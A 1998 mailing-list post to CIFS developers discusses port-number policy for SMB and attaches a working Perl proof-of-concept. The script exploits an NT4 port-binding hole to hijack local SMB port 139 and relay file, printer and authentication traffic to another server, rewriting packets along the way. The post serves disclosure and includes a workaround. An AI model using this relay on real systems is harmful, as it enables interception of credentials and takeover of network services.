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Date:         Tue, 10 Feb 1998 17:01:54 +1100
Reply-To:     Common Internet File System <CIFS@DISCUSS.MICROSOFT.COM>
Sender:       Common Internet File System <CIFS@DISCUSS.MICROSOFT.COM>
From:         Andrew Tridgell <tridge@SAMBA.ANU.EDU.AU>
Subject:      NT needs privileged ports

NT really needs privileged ports now. I include below a variation
of the perl script I posted a couple of weeks ago that shows how the
security hole recently announced by L0pht can be used to take over SMB
services on NT boxes.

This security hole does have its bright side though. We were having a
discussion (raging debate!) on the merits of changing the port number
for CIFS/SMB. At the time I said that any change in port number would
be bad because changing to another privileged port would still leave
existing NT servers insecure as they lack the concept of privileged
ports.

This security hole means that all existing NT servers are already
insecure (with exactly the same security hole that I was worried
about) so we can safely change the port number to another privileged
port without any security consequences. Paul Leach has told me (in a
private email) that Microsoft in fact has already got a port number,
port 445, that they can use.

This leaves some other objections to the port number change, namely
the fact that it subverts existing decisions by firewall
administrators, but we may decide to pay that price for the ability to
separate CIFS from other netbios protocols. As long as a privileged
port is used then the change should be acceptable to most people.

Andrew

#!/usr/bin/perl

# This script demonstrates a major security problem with
# Windows NT4. It is based on an earlier script (paul.pl) that
# demonstrated a problem with a protocol change that Microsoft
# proposed. The change in this script takes advantage of a security
# hole pointed out by L0pht (http://www.l0pht.com/).

# What this script does is allow any unprivileged user on a NT Server
# to redirect the local SMB services to any other SMB server which they
# have an IP address for. This allows the user to redirect file,
# printer and authentication services to another server. This has
# enormous consequences for security.

# This script was written by Andrew Tridgell and is being sent to
# the CIFS discussion list so that CIFS developers become aware
# of this problem. It should be noted that the L0pht announcement
# (which predates this script) already provided an example command
# using netcat to achieve the same thing so this script does
# not actually offer malicious hackers anything more than what has
# already been widely distributed. I wrote this example so that
# the consequences would become clear to the people who are
# in a position to do something about fixing the problem.

# USAGE:
# To use this script install perl5 then run the command
#        perl redirect.pl <localip> <remoteip>
# for example
#        perl redirect.pl 192.168.2.13 192.168.2.10
# this would redirect any SMB connections made to the local
# server (whose IP address is 192.168.2.13) to the remote
# server 192.168.2.10. Any browsing, file access, authentication
# requests or printing done to the local server by SMB clients
# will be redirected to the remote server.

# WORKAROUND:
# There is no immediate fix to this security problem yet available. A
# workaround is to disable local login access to non-trusted users.
# This can be achieved using the "User Manager For Domains". At many
# sites this will be an acceptable solution because NT servers are
# often used only for remote file and printer services and do not
# really need to offer the ability for users to run arbitrary programs

# FIX:
# A proper fix will require a patch from Microsoft. Hopefully they will
# either implement privileged ports or they will get the socket
# options correct on all their servers so such bind() tricks are
# not possible.

use IO::Socket;
use IO::Select;

if ($#ARGV != 1) {
    print "Usage: redirect.pl <localip> <remoteip>\n";
    exit 0;
}

my $local = $ARGV[0];
my $target = $ARGV[1];

my $smbport = "139";
my $Msg;

# this is a *SMBSERVER netbios name
my $netbname = "CKFDENECFDEFFCFGEFFCCACACACACACA";

print "setting up redirection from $local to $target ...\n";

# Create a local socket
$sock1 = new IO::Socket::INET(LocalAddr=>$local,LocalPort=>$smbport,
                              Proto=>'tcp',Listen=>5,Reuse=>1);

while (1) {

print "listening on $local\n";

# Accept a connection
$IS = $sock1->accept() || die;

# Open a socket to the remote host
$OS = new IO::Socket::INET(PeerAddr=>$target,PeerPort=>$smbport,Proto=>'tcp') || die;

print "connected to $target\n";

# Create a read set for select()
$rs = new IO::Select();
$rs->add($IS,$OS);

$first = 1;
$finished = 0;

while(! $finished) {
    ($r_ready) = IO::Select->select($rs,undef,undef,undef);

    foreach $i (@$r_ready) {
        $o = $OS if $i == $IS;
        $o = $IS if $i == $OS;

        recv($i,$Msg,8192,0);
        if (! length $Msg) {
            $finished = 1;
            break;
        }

        if ($first && substr($Msg,0,1) eq "\x81") {
            print "replacing called name\n";
            $msg2 = join('',substr($Msg,0,5),$netbname,substr($Msg,37,length($Msg)-37));
            send($o,$msg2,0);
            $first = 0;
        } else {
            if ($i == $OS) { $Msg =~ s/Paul/Oops/mg;}
            send($o,$Msg,0);
        }
    }
}

# loop back to the top again
}

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